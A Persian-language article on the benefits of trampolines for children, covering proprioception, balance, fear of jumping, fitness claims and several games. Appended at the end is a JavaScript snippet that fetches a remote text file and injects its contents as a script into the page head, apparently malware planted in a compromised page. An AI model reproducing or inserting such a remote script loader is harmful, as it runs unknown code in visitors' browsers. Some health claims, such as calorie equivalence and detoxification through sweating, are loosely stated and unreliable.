فواید ترامپولین برای کودکان

ترامپولین چیست

ترامپولین یکی از وسایل بازی مهد کودک هست که تقریبا وسیله جدیدی به حساب می آید ولی در بین کودکان و حتی بزرگسالان محبوبیت خاصی پیدا کرده است. ترامپولین در لغت به معنی پریدن است ولی مفهومی که در جامعه شناخته شده است تشک پرش است پایه و اساس این ورزش پریدن و جهش است که باید تعادل خود را حفظ کنید. در ادامه در خصوص فواید ترامپولین برای کودکان نکاتی ذکر شده است. ترامپولین عضو ثابت مجموعه بازی کودکان به حساب می اید.

آیا می دانستید 10 دقیقه استفاده از ترامپولین به اندازه 25 الی 30 دقیقه دویدن کالری مصرف می کند.

ترامپولین و تحریک حس عمقی

این وسیله هم تعادلی است و هم حس عمقی را تحریک می کند. (برای کودکانی که اختلال ادراک عمیق دارند مفید است). با پریدن روی ترامپولین فشار به کف پا, مچ پا, لگن زانو و تنه وارد می شود. که باعث تحریک حس عمقی در پا شده. با این کار به مرور زمان کودک صاف بالا و پایین می پرد و سطح هوشیاریش بالا می رود.

ترس و ترامپولین

بعضی از بچه ها خیلی زیاد روی تخت می پرند, و برخی از بچه ها برعکس از پریدن می ترسند. بهتر است که برای هر دو دسته در خانه ترامپولین تهیه شود تا بدانند که فقط باید روی ترامپولین بپرند نه روی مبل وتخت. و کودکانی که از پریدن می ترسند روی ترامپولین به صورت نشسته با انها بازی می کنیم تا احساس امنیت کنند.

تقویت حس تعادل توسط و ترامپولین

پریدن روی ترامپولین به تقویت حس ستیبولار کمک می کند. تحریک گیرنده های تعادلی در گوش مانند اسانسور گیرنده های خطی و عمودی را تحریک می کند و باعث بالا رفتن حس تعادل, انگیزه, توجه, هیجان می شود. از دیگر فواید ترامپولین برای کودکان می توان به موارد زیر اشاره کرد:

• افزایش قدرت عضلانی
• تقویت دستگاه تنفسی و گردش خون
• افزایش توانایی تحمل درد
• بالا رفتن هورمون سروتین و دوپامین که باعث حس شادابی و رضایت می شود.
• افزایش تعرق و سم زدایی از بدن
• کاهش وزن وسلامتی

انواع بازی با ترامپولین

ما با ترامپولین می توانیم چندی نوع بازی مختلف انجام دهیم و کودک هنگام بازی از تنوع برخوردار باشد تا از حالت یکنواختی و خسته کنندگی دور باشد. برخی ار این موارد عبارت اند از

• توپ بازی: توپ را به دست کودک می اندازیم و از او می خواهیم به محض گرفتن ان را دوباره برای شما بیاندازد و یا به کس دیگری یا دوستش بدهد. این کار باعث تقویت مدارها در مغز شده. انگیزه و توجه و هیجان و تعادل در او بالا می رود .

• شمارش اعداد: از کودک می خواهیم از عدد یک تا پنج بشمارد و سپس به او می گوییم وایسا و باید بتواند از حرکت بایستد (یعنی شروع کن و تمام کن) با این بازی حواس کودک را به صدا و محرک دستوری جلب می کنیم.

• بستن چشم ها: این بازی برای تقویت ادراک عمقی در کودک مفید است. چشم کودک را می بندیم و از او می خواهیم شروع به حرکت کند. کودکی که اختلال در ادراک دارد نمی تواند این کار را انجام دهد واین تمرین باعث می شود به مرور ادراک عمقی تقویت شود.

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)